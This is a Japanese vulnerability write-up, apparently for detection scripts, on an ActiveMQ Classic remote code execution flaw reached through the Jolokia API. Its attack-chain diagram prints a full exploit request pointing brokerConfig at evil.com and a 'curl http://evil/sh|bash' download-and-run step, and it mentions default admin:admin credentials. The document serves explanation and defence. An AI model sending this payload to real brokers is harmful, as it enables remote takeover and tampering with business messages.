
Apache ActiveMQ Classic のRCE(CVE-2026-34197)をJolokia API経由で検出するPythonおよびNmap NSEスクリプト。未認証アクセスとバージョンの脆弱性をチェックします。
Apache ActiveMQ Classic におけるリモートコード実行の脆弱性です。攻撃者は Jolokia API(/api/jolokia/)を通じて addNetworkConnector(String) MBean オペレーションを呼び出すことで、任意のコードを実行できます。攻撃者はリモートの Spring XML ファイルを指す悪意のある brokerConfig パラメータを埋め込み、ActiveMQ がそれを取得・解析して任意の Java オブジェクトをインスタンス化し、コード実行を達成します。
ActiveMQ バージョン 6.0.0 から 6.1.1 では、Jolokia エンドポイントは完全に認証なしであり、これはゼロクリックの未認証 RCE となります。
この脆弱性は、AI 支援による発見まで13年間コードベースに隠されていました。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-34197 |
| ベンダー | Apache Software Foundation |
| 製品 | Apache ActiveMQ Classic |
| 影響を受けるバージョン | 5.19.4 および 6.2.3 より前のすべてのバージョン |
| 未認証 RCE | バージョン 6.0.0 から 6.1.1(Jolokia に認証なし) |
| CVSS v3.1 | 8.8(高) |
| CWE | CWE-94 — コード生成の不適切な制御 |
| 攻撃ベクトル | ネットワーク |
| 認証 | 5.x では必須。6.0.0 から 6.1.1 では不要 |
| ユーザー操作 | なし |
| エクスプロイトの成熟度 | 公開 PoC あり |
| パッチ適用済みバージョン | ActiveMQ Classic 5.19.4、6.2.3 |
| バグの年齢 | コードベースに約13年 |
| 発見方法 | AI 支援による脆弱性研究 |
Apache ActiveMQ Classic は、Java エコシステムで最も広く導入されているオープンソースのメッセージブローカーの1つです。Java Message Service(JMS)仕様を実装し、世界中の数千のエンタープライズ環境で非同期通信のバックボーンとして機能しています。
ActiveMQ は、注文処理キューや金融取引パイプラインから、IoT テレメトリストリームやマイクロサービスのイベントバスまで、あらゆるものを処理します。組織が Java ベースのマイクロサービス、イベント駆動型アーキテクチャ、または何らかの形式の非同期メッセージングを使用している場合、スタックのどこかに ActiveMQ が存在する可能性が高いです。``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
攻撃者がActiveMQを侵害すると、単に1台のサーバーでシェルを取得するだけでは終わりません。攻撃者は組織内の**すべてのメッセージフローの中心**に位置し、重要システム間のメッセージを読み取り、変更、リダイレクト、または注入することができます。
---
## 脆弱性の詳細解説
### アーキテクチャ: JolokiaとJMX
**JMX**(Java Management Extensions)は、Javaアプリケーションの標準的な管理インターフェースです。アプリケーション内部の監視と制御を可能にする「MBean」(Managed Beans)を公開します。ActiveMQは、ブローカー、キュー、トピック、接続などを管理するためのMBeanを公開します。
**Jolokia**は、JMX-over-HTTPブリッジです。JMX操作をRESTfulなJSON APIに変換し、専用のJMXクライアントを必要とせずにHTTPリクエスト経由でJavaアプリケーションを管理できるようにします。
ActiveMQ ClassicにはJolokiaが組み込まれており、Webコンソールのポート(デフォルト: 8161)で`/api/jolokia/`にアクセスできます。```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
ここからが問題の始まりです。Jolokiaは、シンプルなHTTP APIを通じてJMX管理の全機能を公開します。そして、ブローカー上で利用可能なMBean操作の1つに、addNetworkConnector(String)があります。
addNetworkConnector(String)操作は、ActiveMQブローカーインスタンス間のネットワークブリッジを作成するために設計されています。これは、別のブローカーへの接続方法を記述したURI文字列を受け取ります。
ActiveMQは、プロセス内ブローカー接続用のvm:// URIスキームをサポートしています。これらのURIは、Spring XML設定ファイルを指すbrokerConfigパラメータをサポートしています。そして、Spring XMLは任意のJavaオブジェクトをインスタンス化できます。
完全なチェーンは次のとおりです。``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQは、設計されたとおりの動作をしています。ブローカー構成を読み込んでいるのです。問題は、構成ソースが攻撃者によって制御されており、Spring XMLが事実上コード実行形式であることです。
### 認証のギャップ
これこそが、この脆弱性を深刻なものから致命的なものへと引き上げる要因です。
| ActiveMQバージョン | Jolokia認証ステータス | 影響 |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | 認証あり(デフォルト: admin:admin) | 認証済みRCE、多くの場合簡単に回避可能 |
| 6.0.0 から 6.1.1 | **完全に認証なし** | **認証なしRCE** |
| 6.1.2 から 6.2.2 | 認証あり | 認証済みRCE |
| 5.19.4+ / 6.2.3+ | パッチ適用済み | 脆弱性なし |
ActiveMQ 6.0.0から6.1.1では、Jolokiaエンドポイントは**ゼロ認証**を必要とします。ポート8161に到達できる者は誰でも、認証なしのリモートコード実行を取得できます。
Jolokiaが認証を必要とするバージョンであっても、デフォルトの認証情報`admin:admin`は広く知られており、開発、ステージング、本番環境で変更されずに残されていることがよくあります。
---
## 影響分析
**ブローカーホストへの直接的な影響:**
- ActiveMQプロセスの権限による完全なリモートコード実行
- すべてのメッセージキュー、トピック、保存済みメッセージへのアクセス
- 転送中のメッセージの読み取り、変更、注入が可能
- 構成ファイル、キーストア、保存済み認証情報へのアクセス
**下流への影響(メッセージ操作による):**
- 処理キューへの悪意のあるメッセージの注入
- 処理中の金融取引、注文、コマンドの変更
- ブローカーを通過する機密データの傍受
- メッセージに依存するすべてのサービスの中断